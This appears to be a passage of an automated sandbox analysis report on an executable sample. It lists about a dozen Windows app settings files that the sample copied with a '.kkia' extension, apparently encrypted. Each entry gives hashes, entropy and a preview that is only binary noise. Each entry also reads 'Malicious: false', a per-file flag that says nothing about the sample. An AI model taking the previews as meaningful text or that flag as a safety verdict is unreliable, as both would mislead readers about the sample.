C:\Users\user\Local Settings\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.98013904308769
Encrypted:	false
SSDEEP:	192:dMOn3myGcEfqx/fTtmhq/m1H+k6w1f0JMTGxA90MTV:COn3IcUqxHTtRmZB1fpaxA90MTV
MD5:	84ACC7D94D91F6763C3B1308B04855E0
SHA1:	08AB7949EA3477245FD5848AFAD3C7B3C85E0CEF
SHA-256:	48F0067CAD32C91F988401324CDB468E4E2CBBF8D742DAD720C49E70BC4E5FE1
SHA-512:	75E671ED959A8B89C32549B000D8A7B753CD9DE6245B105C49CA91A0A709E59B7DD1FD88BC8E06AB1DF3FF068180BA45DC12D42DE94D2F6FA45FB5A8FB94A1E8
Malicious:	false
Preview:	regf..+....%}..09Vf.c...W.........Z4./.......g....E.t...n.K..I.t..G.+.q..}...4)z..iO.W......wi.L...#.....[Zm.o....o:..Z.....f...Qv..5F....d..c=.....{x:...d9..Eg...+...g..;.).C.Z.d.+\|_.._.^.".G.....eT.....l.#.Y...JI.k...2.....H+'{.......o......QC&.....6.?7.I'<....N....{.g....w?4^... ...............!.CQ..Q.......>..q...z.....79..ZIK.....}j..8<p@.?..U.d..p...3.wzC.0..C...G!9....}..F..;RE{...30..z. .:.=l..D_)...-..._..D2k..%..63.:'r.Fa..Y.$.3..0.k.0cI.4...j.F........I..i....(.rb3..P......h...vb~......vN.8..Z:..8Wp...kN.,A._.tU..>F...X...5{..T.8.H...z..S.C.?...PJ/......l.".1.....Uc<.u....Qw./.~.ist4U.x..;!R..O!F.xTgG...3...7..T...`.............D....m*v.....\.@.B~.....E/.w.m..JK,8..../...T#\|"..#?.......EOl.....}.@..@W.E...F....1..Q..\......'...AO...H>.@5".[.\|.~.............N.:OD..W..d.......9..q.z.C...!......;(z._..s....;<K.p.#H.u.Z..E.Y.I"........"~..}..,.c......D....d`..k....`.U:e.g.4..&.V..H.......u.}Z.s.Z`!..u....&e?.&Z....7...V9

C:\Users\user\Local Settings\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.974200348080395
Encrypted:	false
SSDEEP:	192:XqStEEPAo/HEqNWjzvLbDOSpLPIKtpjwvgsAFdhuHX9rfRLNz1:XV6EYodNyvLb3pLggsKYHXxRZx
MD5:	88891D7A1FEFFDC50F3990FA4CF556BA
SHA1:	EB711872E4776AC7181A574BE6AB9AB1CA3E386C
SHA-256:	B95514E25949817F1FEDBB78EE9B7F96B890DC7EEBEE8A759DC5C7F8CEB55F64
SHA-512:	BAF0A64B6123FB5010A1867D3FDD4871E486998EA058C6292BE599554229A6812AA6168BC88F6F9267C885F821BF44198156DE5064BAF24644028D7BDD0856F0
Malicious:	false
Preview:	regf..c.HYG....&.../.\|.D)...M.X....0&.".W..RZ...DS.]..C....K_....D.2.8.....u.m# s.>.?.>...}..r'...BW....8T3.I..w.K8....ed..+.."i.n.....r#r.....!Q}q...r.Ko.5...y......b.?CG.....zU..f$..BX:=.mc7.H.....S...^^p...m'>E....k%.a.._X.(..>M......z..9..%...JQ..C.....w...A.9.i.......0.....9......S.73.HS..E....>!....~."M.y...............f.....NE..8E....u...:...)..u.Y.Ulse....=.&.......)...b........#1U....".2[....]......%.w..ef.F...H..Qj.R.-....o......8....Lh......Y.9=?..`...KV....m.....F...2.~\|K!%..S...T2q9.%.5.......9...Qw.<.....;c{.].Zq..)Fh..MG..2...vO.E.A..".L1G.J...8.%....;.i..m.._.LM\.~?.]8`.Xq.T..x"..N6..8h.k..... WT.]&;].,. @,..6u(#%v........:...I.Q.'.~IA'X.b].....O..........<x&..c.1ZD,L'=u...}e\tq....`.E..w.6..:D.....D&...d.^.....UK..}~z..g..nN..4}.a[..hiO.........,2`........Lo...2.>.,.b.fP/.1.)O.#a=.S.-M0..b7]..v_..D.=....B.u.......Y......J.D}n..t .A.y<p.>foNU....?...........lL.K...pB-.../..b...i....R.>.B*........@.....LR)D..>z....

C:\Users\user\Local Settings\Packages\Microsoft.AAD.usererPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG1.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.98027085444114
Encrypted:	false
SSDEEP:	192:mu4Q3L34S+XkvWI6ZHFBN5uRsCqFd/++CkG71U3Y6qzPZ:Pnss6ZHFxuH+OZauzPZ
MD5:	CC960AFA70D69D6F65E4F5A2939F8D8B
SHA1:	764F56E9690C6DB370FB147623E1BE73212849BF
SHA-256:	C201DD8FEE18DF0425DD8E5E92944CB0E6F93F69851FA02B152FBC15C76C6060
SHA-512:	6DD180B8FDA81F94F39A8C1967F48600A481447FF5C94A1F8691687978796638858ABBD091B69A7C2A25CFCE3DE0ADC16A309F9A71033735F828D1D292FE8F04
Malicious:	false
Preview:	regf.3].h..8}L..D^.......n..@..P..4K..0O.k.k....V.....'..o....R..v.......:U....... ....P.\|......8....U..\..BL.-{....Y.\|+$...G.....=.o;.wmy.....]x.....ii....:..1t......w.]..\|`RC......-..&.x}".T_.U........AwU:.fXw.0.{..R.).=.w..Q.)...^k......$/3H)f..}.....3..<kMT..J^]..........y.?...A&c.4.^k..X.L.^......O!;k.[9...v..7.....J...^8.~.v.SAZ.:.sw.!.Z1E.z..4.O....F....P....9.SN!.%]i.a6....&.:...oy......o.J+#..4.]..{.+.....Y..}..7E.vV....v.Iw..o.k....}P..[........K'....W..!.....ub..S..ouRuC$l"...5p.....G+...z(G.iw....]K....}.H\mF.v......].W+..x%.C.P.%...\{.fma..L.S...Kh)6V.%..../\.-.....-W.j..&..!_.e.=.S.T...*ws./2x..V......[&D...\.......nw\fM..=.z.jr..S.{v.Q...N..S ..j.z.J...m.\|.....D.X.`I37...z/..b...h/s..G.>..w..b.-#.#w-S..C5.}W.T....[.ju.'..j/.k.v.,..u.m{.4...m..KQ.9.+8.Sn.....`k.Z...T,U............!D...h.t.1...7`.Z4.B.q......%.V;..Ot...5R.....\|G{9.IWd.]...p8...G+'>._..&GH".1...G...(..E..... .<.i..Oq6.X0z.../..,_......~..4.BX\|.2T.8..$.f....

C:\Users\user\Local Settings\Packages\Microsoft.AAD.usererPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG2.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9772720735013944
Encrypted:	false
SSDEEP:	192:sF9byb4VEiQBVFx9sbaYek8lmq59JCajbg:sXbyb4IVFxKuYekGr59MCg
MD5:	6AB44981FBB73486C620F806231059CD
SHA1:	940DE7551F8E0B2ADBFED4A579A5D7ED9980668A
SHA-256:	73493DE73E4454E3FD06DA8F2CF4A72FA5BBF0CC89A98D2F1D07CEDF79A958D2
SHA-512:	44B836DA3EFCAB9212ABFF9BF020BB55F541E72494C0477C77E51ABA7AB5B701CDD20A0CBB91304CA0950E141CC2239269D8018EC82F1817CDC04AA2745F467D
Malicious:	false
Preview:	regf.NF.ld.....'.......6.i...\}.A..51...5....'.1...T.....p..X......89.t.x..?.v.<;Si...\|...~...uj.......A$1...^]e...X..<..VW...G..f.u...G=F.NJ.f.`..1t...lo.!.............#H..M..U<u.$.u.p.M...9zN[..rU[. .hM..9U...eAQ'J.F.....{.7}G.vL.8..N..9.u.n...<5M}....Jtb.:.......a.r.E....n1.0:.?.[V.R.D[.....a.S.x..\.c.p.....a.y;.}.Yw.I.f.S.3.-......Wv/..."Z.g2...9.....J.<.V..Q..Hp.&.....$ .....z.~...Z....~.y..........H...T.O..C....0..'Vq..@...h.5.P..B9R4..../.8Y...[....;,.8.....(s"$=..rJ,..x.^%..Y.v....~.+Jf+%.kA`.......L...f..wY.Y.b...E.A..-vs.B..L1w.3/.s...{M.l.EV..E.....\b......q.ASM......3N.].../.m.}../z...pcl3\|Q.....py2.#......Y]..YpD..G.f.a...=...+.&......-.."....... .`FPw...._"...s.'..1..T]..D.i.o^...K..J..p...o,.;..%AI.k.. P...l..<.@....(A..)i.G...`.T\|.':.T....k...'^....z.Z..ZQ.a....OPp.S......)H!7y.N.....8....S......k....._.Y-(n.1....#K.:.p..8.b..h.Xi...J..f.H1W.#...k..HQS3....r[D..<s.)b...v{v....M..d...5.[..........eT\|...X.........Q.H........2

C:\Users\user\Local Settings\Packages\Microsoft.AAD.usererPlugin_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976436911718169
Encrypted:	false
SSDEEP:	192:s+ROu+xtDnML0tivcWnMZ5qUOcSgBS865q7EDMK2/Uwkk:sdRFMQtKcWeqdYS8esEBk
MD5:	B0B86D1B480FB5FF1CAE212631532437
SHA1:	3C6DFD0A6CDDD45BB49CA2AF4EC0F809648000D9
SHA-256:	DF0CA1391BAF2BF0CE7D8B673DDE5D264509B7053CA5C196931E8EA0E3812A8C
SHA-512:	D2CEE46873496803FE9153F866E62F85BA5AC463E5B469A78B378A4409F132A6F3C02A72B7D859D746912B6A75B0316664788E413CB5784C385FC3A1C3F2CA4A
Malicious:	false
Preview:	regf..'qCi..X..-.....c&....0<....M..3.Xj......{C....gp7:.r..".R...s`.x&.. r.@.7.C.!.....(....F..\Ue..gl ....q..%x...s..q...c.....k..K..~.Ua..tz.d.~....C.\.....4..i8.l.=a.g..(.....TK..it.Wg.#.fh.6P..j.i...Y.\|..s........u8..So........"!....&y.X.....'v...a.. .T.%E.8S.yjt..%u...5.Lo\..P..$[.J}....k..2 ...(.[Z.Az.$%..Y3...\.oO...B.....y....aChNr$)(.......z.2..f..6e.......e.).....G.....s[..Id.JS...%.......B.IB.+..l....B .......Z.}1.....P.]M6...q.....(.r.~~...~.c.L...`...#.CP=...g7`..kI.8..!.R^.c....c...l..D..i].?..]..,,...k.o.y.....6.......t.mLA.oY\...;c..\|p..P.I..wDe.g>Mh&.....3X.>......K.5~c7.)/...Wt.9J%...n5......:.=.....@c+"r<...i./.e.,..K.-..he..C.\|Mu).A......g+..>.IGh.74pO.Il..C.q..OR.......L......U-../b-..H.w.s<.......o..'..NX..y..x..Y<...Q.#.F...<.M.4.i..../...H......W. .W.;{.R...v...).`..\m\|:..N.......F.}.........W.....=3M....s.......<y..-.\.p.c\>\|.FL..Z.........].k..6.....b.e.....?..U.............4..5..\|.....,....NQ.p^l.U.`.\+.

C:\Users\user\Local Settings\Packages\Microsoft.AccountsControl_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977916334513125
Encrypted:	false
SSDEEP:	192:CxXMDkGxW0p/K2dS8yfYRRDy0VzA3JbsHFlN39H0nl3:eXMDkif5K+ScfVAFYF+x
MD5:	17FEA130D82EE5A6C953B19A2F7BE6E8
SHA1:	22488F92AA8E60416B6B49629F4DFE9736228232
SHA-256:	332DCF7FA346480705DCA69F7532F3FA0AB8A90E6B459930765FDC4943951E9C
SHA-512:	B1F56000B4F12A34406F3BA50F10EDAC8D3FE26DE4E0E35E3D5FF36016A51F87199BD8929733ACC6E671C64E8FC1E3F5B86C91EF005F3E4873C08909F3A7F95D
Malicious:	false
Preview:	regf.8..........!.......-....d...^..%p..R....U.\.)......s.V..@.v.....].=3..Y...]p.........>a.h(.W..n......1..i&...B..d.6TC,..O...\|.C3=.Fv......:..i}!.Q.Oi..p..W..N...F@^f....+..KC4.g...............9...a.p.p.Y..G....u.....t.a.P...."......9..m...&E.....a.V2b^....,X.3.A....1t6.B.9.S5r.ZU...U.W......M..._\.....b..C\|.J.z.;\q.!...FU.h..j...nq.0B(4..4.y.\..!../..@KN.].K.....e...a..;.{..q?...m`gSB.+sPc...\|.M.......-..W..l[.~G{.F*..!...G...P).......j..0./..f......\...w..j...z..-....$...}...f..\..s.F......W..........L\|V2..t.e.$......hB$.......T,g......dt-.A.7Ttt..Y.z.H...~s..`...GV..n...+_.....`a.Y.l.7........z.5ix...w.Su. .C....~T]..@#...Y_..r>D.T'T.....i.9.v.i....?}7.-.........]..@5!..O....C^.......].....\|I1...........i.l.QpuB..........^.c.R#.h........=L.qG....5...5p.X.U..Z.....O.".;2..n..7..P..p.. .....s...0]'..\.T.,e...\|..Z).......e...._.h...".k..>.;L....i.1&X......~7..8."u..+.e....A.(....N..2LP^.jF....4.`.........R:...6Za...MO...U .....:7.V9

C:\Users\user\Local Settings\Packages\Microsoft.AsyncTextService_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979484887918549
Encrypted:	false
SSDEEP:	192:wiZ3IFSpk3J7l+yItEM2f+k7N03ALAQ91FT16cyCpLkkcchg4ea:JZ3IFS0VlBh7OA59HT4cyeea
MD5:	D56D0F6746DBBFACCDAE563F11CDCE09
SHA1:	714B95A8704F00F0FFC77F5FD55A307A3FE661D1
SHA-256:	A0A8AAA47388EA073C5B5B4863348545247F70E16903A745CC51EEC93B025366
SHA-512:	E35DBE3B1E50D64C5BBC437D5F0D106075771B5F9EEF5A310B505AD75527CBA401AB816192E0B3416D531544AF82DDFCA70EB7C53E55A2F6A21257B43E58E0DE
Malicious:	false
Preview:	regf..qv.I..Qu...[u...b%.....c=.......f.Qh...W........OW.<........@-.&.WL..6..9v6.6...".`.g(..b..C......+g.Z..T..w"(.i..B....rv6./)m.#.....A. ..mi."....7.-..w..jb.-D...&..\|..TV..fc.?.........b.T...R.IW9...!......`.yhW..W)...g.R.b$...r.N._..._A.............5C..K....K`xg......:...&..E.mS...0..<<..F'g4...)e.&....Z?jQ......%.\+Yd....=.Q.#..me<c....k^.G[.~.\goZ.G........}l./7....s..bF.f.=....].F...2.[.D]..z)...!.f..r....0...c.LsI.t@.-.....)..C...\.....<n.!...c.A.r..N.....5......A....8...q+....1./.S.....A%.$...@\.J3.KP.:...;..5.SO......,F...o.0.{..bz)...y..@....vcP......c......".6....,........ .b..n......NF. ."....2.jCkcV.......S.............,xp.D@Zex-.Pe.,.$.#I.CH.$>..-}........F&...d.!M....`.d...V..?8...8.8H......_...,.,p.>...QEV../DN."S$........T.iK.X.$..fo.?9.Zo.t..i8.x$..\|..B.......7e..R`.\j$2....}I.j..i/..i.l`..?V......x.U.?..rG.V......\|.....YQ.v.S!N..$.}....K?..[...Y.....V.a..#u7...Z...wR.....A......8.t..p..`......1...Wi....x.\|...<.3...

C:\Users\user\Local Settings\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.LOG1.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97886020914138
Encrypted:	false
SSDEEP:	192:hEj2MEN7UlNckzVk2QKLWokw68O9j8ZNpYxp2YBPe9TSzH:Gj2MEONcaVk5K3r6CirVeq
MD5:	15602A08D2950C0E6D6705BE34C9DB06
SHA1:	0552E9C30ECCF029429387F7725E0357BC08B084
SHA-256:	4172E16360C565A02BDD84DFF8DA8D215DA0852884119E4F58DD67A6EFC84A90
SHA-512:	8F16357D492677225F01FA842532D1D20267FD64FD8AF14A682506C25726D6A17D7327C071E6B833EC15A36964F659AA13501E38ABF70D36FC59A9C70E934740
Malicious:	false
Preview:	regf..6..y...............-.2....e.Bb..S...V......9...B.h.V...%p......J..l.u$.3.A^..<`.R...U1%.&W.)....Q..:.s2.\......C....A..caw..mm..V....Se.;v.....JV^.d..W/.\|..@A.(.../...]...zF.....#..O......H.^........k}...>a....]....`.i......%~.u.....~o...........P".O.1..q.dc.vA?....]0...%......!jBH./7n..@...G.'..4...&....s..V. ..;t..B.;]..../V.E...-p......@..R..b....G..}A2..Rsb.R....Y...}g6....2i..s.,.G.&.,.j........y<....).L.r...t.6....R........^f.wa.J.!.hK%?!..9.e.u.L..=..1c.i....d3I...A....I....CN_.M..1...b.....8.f....C.q{dfv..(.a..#.{$.R.JN\|^..E..g...\.!..M.a..t....X....4].6P.j~....8j!:..S..A..J.)jAm.QV...J....H..zD..6..wh.NL..G&1>..i$x8>..8i`...T..!&2...>.u.....,q-.....v.Ir.ox.[O1.<.{=..H22.E.....I..iI.....6.d.\|.l..I..l.Y<cH...pd....Q.Zb.~eko".....^.......Amx2....-0J. 7.X..d....h.=....'3d..Ls.R...c..e.....n.'@?'.f..`.!.u#!..O.dL*..e...tv..g..z...]l.....\|....e.....=...z.Q6...]:0.g..Za....4.....p..kL..U..._.....Z.<...).c^.l...g2<0....V..!g/.93>...

C:\Users\user\Local Settings\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97763542930434
Encrypted:	false
SSDEEP:	192:RrxDhZCq3JfL0rTEqSfpa6mrZrI/Xn5bbS14/ZftETML94QZn2Z:Zth8qZYrTP6mRIfn5uIZft1L94Qi
MD5:	1C7198382D84C2982E822E296E84D0E2
SHA1:	5D11D72B5ADFB3DF0B332C28937C0865719898E0
SHA-256:	959ACAD12F3BB9EEBF1D5E324B6B5F4A36EA5F5B7D242E957BF60FC53D3F857B
SHA-512:	CC98FD6178657EBF7C24E3D0DD9944B41110127558EC090913A9516BCBD2B879A4A7BC1BA86CB6D17FD9B6E6E47935CD2B5911B3511AC6C002069CE008EBA044
Malicious:	false
Preview:	regf.....8....OD.#..uZ..z..DSS'._.8{....1..u.....c..r...e&.f2.eu/....Q..L.Xf....D..0..xm..VE.............':x>.^.1....w....I7BD...DbZ.....$..q.P....b.th..o...@.N.n_.....Nj.h.]^y>`37.....,..k...~SH.WP......).K.nm?.8.R.L^.g..!..h...u2.3<&.g......P.M`?,Xd<.w.U$ynC..+..&..RA.2G...&J..5,....O.J..`....7}.....$..$.oT3q.2+...N..%..[O[.Qf....!.V,....t.....H..y`.aih...V+.....i.....a.....a...{.!K.....Ft...\|..w.....y...N.&P.<..r.....L...1..5..K.BI...;9i.......4..:.$......,......A ...lu.'..^..)....]\..O...}}C.gy.r..?.....Am+..._...>>.v....E.*.M.. ....(:...Z.0.ruD1.%]S.h...c.1..L7.H.....,'W...<n..\|G..&..e..tB..Y,C.1....j..j.....q..$..qt.8q-.v...v....kQ}>I.`y8..#.).?hH.d..P.u....>r1e.@V......R.....Y..<.,..yK,[Do..4o.%(..lrz....L..)^.,....t.&Fc.>6$...r....u..s!.y~9.G.J..;/....q...)J..6..S.q.B..P......(&\|..".{..\.q.BH.kp..4<G.!c.9...Hh%..h.......AF....b.v.!.`..,$.Qa:.t..y...yw..Ie....`.....ab..Ktq........(.k...M.eK..<.._f\.[$.'..a..i...+H.S..H.8.O.-..B...j; .8..

C:\Users\user\Local Settings\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9797878717840085
Encrypted:	false
SSDEEP:	192:ctfqbmWuinqtTDne5gh3b40meKhEuA9W02SsyOyDUrjxkAVS6:c9WG/O23c0QK9WtS98qAVS6
MD5:	1A4EB0582F6B67341176AFD2D4081620
SHA1:	EDCD4EE3BC6EDE7E45146822D1947546CF8152BB
SHA-256:	14616F5A87A72DECEA590E10D4EF6CFD368906DE04BD946F1309184A51926E66
SHA-512:	3A68A370F4021DE3B376E158EBF662D177C35C76784919086907353C368A45CF1893A6162068FDB30FB6C726D56D155C1BFAA9D72A1CD889920EFB11A6ED7E7A
Malicious:	false
Preview:	regf.f.Z.F..3..s.Z....4..).........s^....J.9e.Dz.#.WC.{..f..gE....8..^w...Z.......u.=. _.oh..f.{.h$?.....f0g<d.....E.....Y.I?1.....M>.b@..]<........af.@...#....9....q.d..as....2...-..z..K....U1.2....%..p........r.Z.,.`.@.u`....].eT......].r.....68..d.89;B.........-....6.y.N....H..9....K.=.......zQ.j..n...U.<..._..EE..8.JT..p....1...D..,..G#.%.Fj.7,....@.4.......\N..j.:...$..>BFl.[q3..b.......T.q....Fi)<.....lU.....\|XC.k........&....{G0 ...T.MU.^..@..+...Q.$7..V.......Y....c.`_....g)..:.S.<..}....d..U'.8...g.].s&3......qJ2..Wa.Ql....70p....K..p..@Y..F!^<R...U.v.d.M.Jy.n..?.R.5ZK5...IN.I..1.....<...h.8U<.y....&...Ei...[?.....].9F.r8......8b9..W..n.\|A.MR..-.W...5.....+..R[+...Z...^.Fi0\R....?:..7..x?..v..5tgT2`....~v.........R+...z.B.w..q.k..@Tj.......w....xV:....E.~T:.\|:..]..'...Z.4$k....p..l..`......'. ...9]...>...k.c.(.>....!.8!!..l..y..uv.J..B.o.O.`k...IK..%..Mq.+.. m[.>.eo....-\.I.G..@.n..G5..[.W. Y.j...ue...W.H{..#.~.../....G.^..IG). ..

C:\Users\user\Local Settings\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976084934624312
Encrypted:	false
SSDEEP:	96:qnImE4Ow/aOQsdeBkg3MzzVt0Qx6m5YGNI7EMisIbE8QV8+ERL08zOgWfq4/+V82:sulOpvd6f9lisIQFVyS8zOX/A88jQm
MD5:	F0CBD5C66C645F852DEA32643532BD44
SHA1:	C33283900190FE888EC817CB37BCFAC84E6E09AA
SHA-256:	8CFDBC8AEDB901BE3EF914E12BCF42C86FDE88B90AF25A80E665FCF019550579
SHA-512:	7AD40DBFE1E8D12D828098EFFE92E83597252FCFEEE5ECC6B491A2E6DEB90BC81CE5130AF90169B9D1473B33189DB539D415B2A8ED7AAB146D9464372B4211C8
Malicious:	false
Preview:	regf..o.S9XaQD(7...g...Q.....,..?=....)...Y....SE...=^K ...RR.)....9{#.I.l.!.....~.[...^do.;..2o.!..v.dP1..8&......D...r....].R.?FW(=Nc~d..Y{..I....\|.....Fu....`..0....\.V..?R.Zd.C.,.._.5...9.......5.N..j^.s.].U.....t6~.#.M.`Y .T.....b...k.21..B[G.....Q.y[$.!.M=...~.(2.+. (pd..`X5..E.8.....^..x!_.j...,:cv...r..<Zq.\|I.y.+.U..._gS.....6..R.Fz. 9....F6.sK...V...W...q...V.H.3..Jh\|...i.Z.~.U..Mq.t+...F.ve.,i.G.?6.....E.......N^1"...$.....b!.A..=.QC.;..V.sB...S...a+..f.u.......?..X.Bm.*....s!..`..G".x..;........`..WQ......_".A..\.x....)...T.IN.y)....0.v~..o......K....EK..J.y..C.B.a.i...~.._F..!....R.....).....J+q...........Sf:L......$...@...J.......6C.U.[_V~h[..<.............M.<.o..N...,.T.......!...Z...rlvZ..@....!.r.m.4]2. ..9...E.9;-..0..B....p...u8.G3..../.d..2..6e.Xa.."..i..~...?.w..\|....O.7.j....u.....E......?.\q4...Y"9....9.V!.Ic.G..bS..n(.[L=..".!^]./....:,.d.A.'.g...U.v^..;.p.........Au....zX,...................$../..y,3.R.$..6

C:\Users\user\Local Settings\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97819767514823
Encrypted:	false
SSDEEP:	192:TDSc9PCmAP7OrRFjxvobedViGRk6LbETRBZpSHpoBRrAOeM:TDSc9gP7ujNQedQYQwpSn
MD5:	D29757FCDFCAA84A8117C8BF07F70BAC
SHA1:	4EE8D1654387CAB26E02094CBE01661BAC9FA02F
SHA-256:	DA38FD7B8052FDB08A7765350F9F74B374A1B65242577A6AB451593F208D7C0C
SHA-512:	1FEA6FF74A191A0A34D02FA6EDBC60B891C2A9CD68FCAA913786BD6FA38C610C6B0B0A8A72427E68123466CB272FE0DA27A95C90F6DE6F6420A9321D5FF9F1AB
Malicious:	false
Preview:	regf...X..?m...UQ...{V!.+....Nf!.N.[........b.2.pO.9.4!%.!.....0..Y......$..9I.v..(rWw.VU.{S.D)~6I0..3.;........2.4...c./.Z`. k.=.......%.....'.d......- t.6a.E.L.I..e.=.FV...@[...D<B..?r.j...7.<......~.~..k....l).b3..1."y.M..3.....P....o.c.B..V....Z...R....i..e..-.....-'y...-?...}n...N..ypZ...V.~..%.......;P.O@.)..9.;B.G......d.{..r.7...tL..%$E5......c...'..0..5.?V..P...ng.C..p=.D.'Ku.O...4PX.l`.>.F..fB...&.m..{...a..X...5x.OEn~@.....M.=.Cd..W.]...co..3y.H.T..U.t"{1...C.eP,...2..E...>.s...D...."..B.a..{...ly.G.D........U.8R`}g/.._^.l{........g-..8.qOfe8B.s.9...l.e.T.........K...}s..#.M....%.%.....)..U.\|....]-...=....Y.....1..YL..X...Z.e.K<.WM.4D.../...A....2.Y.s.?Q..w\{\|....O.A.TL..0.....y..<.......5..(.2cB..m.&..[{........4z..{p.6.]=(..O..2u.'.6.M..DR..d....A.........E......0I....N.Zv..EIZ.z.vTW.<WKF..g..0..x."...R{Z.+..Q.P..F.q......\....$..h.B.V......B.J.....1....c...1^.j......y.t.'....]..T$.N)......,..?..i\.....G.........^..i.'

C:\Users\user\Local Settings\Packages\Microsoft.ECApp_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976923538007476
Encrypted:	false
SSDEEP:	192:s0nJRvhohr1zmeQk3NaNB9GXcR9QZqB3A4Qi74UhTkQTQJy:s2ot3N8iXK1AO75dkty
MD5:	AC50F499782F9FACFE197E1345A23651
SHA1:	D55486E56377781A2FF5EDE66898BDAE211FD1E6
SHA-256:	8199EA42D03AA44BD91B860D07928F252DACDB665544054F942CF4D7D4ED5582
SHA-512:	E3AA28FD383E1ECF5D3816E0371ABF39C4E2AABC7ACD42A80F313E311E9DA125B0F0BF5DDDA2FDBC1AFDA45758756AF6D06C6D4D66D8339A2D42809D98D5D9AC
Malicious:	false
Preview:	regf.Q...!8.H.s....s..H0C..)..H.N........C..B?..u?G.{....d..Ij.\|Gq./.7...........~-."9!1G.f.d<.p.f.......`.X.E>.....w.[t..H.FB..q...$z+1\.. .4b%>.x^.C.s....4.....x...h......2....\|...7..(.3.G.R.t....U6.TP.}.......1.....OXYh.qo......B........0)&..a.1....)..`.!."..c.6W.g....".r.~......g....._.(p.......qc ..3.....NZ{.^...........z...!..n..q)].4U(.....g._c{........7+v.#.r\._h]..~/.O..$;...e.>ma......V^F.{.Z...n.0@sN.]..)W.-..%...+.13...#l.".N..r.UM.Y=sk;.H5q......X`GhN......Mp%.W^.>.R\|.n.r.D....dn....y~..C..f"M..fjM.O....!......E....L....9/....Z.v..'..4MD.".v..w..:{...Yu....<.P....n>p.0.[o.r.`B.......>..)%..0.a0+.......\....2.4k.2.;....x..^;..t.,.{6..<7..O.?.V.$P."\|..O'.Al.l.....4E.._j.1..4..s.r..}.\%.z.hF....M...O.KN.f..[.SJ0F..k.YQ...LS...R....K.+..-._.............K...@.....W.....P.Qf.)o`.{...S.....:.G.SiT.....4.!...8v.....8...".g.,..>..-t.d.`..K..;.b/....d....2<..Y.6.4>.3s...].S.....;..e.-.......i.P.:....[.2c.oB.&g.m\........l1.[.R..

C:\Users\user\Local Settings\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat.LOG1.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9788166889035175
Encrypted:	false
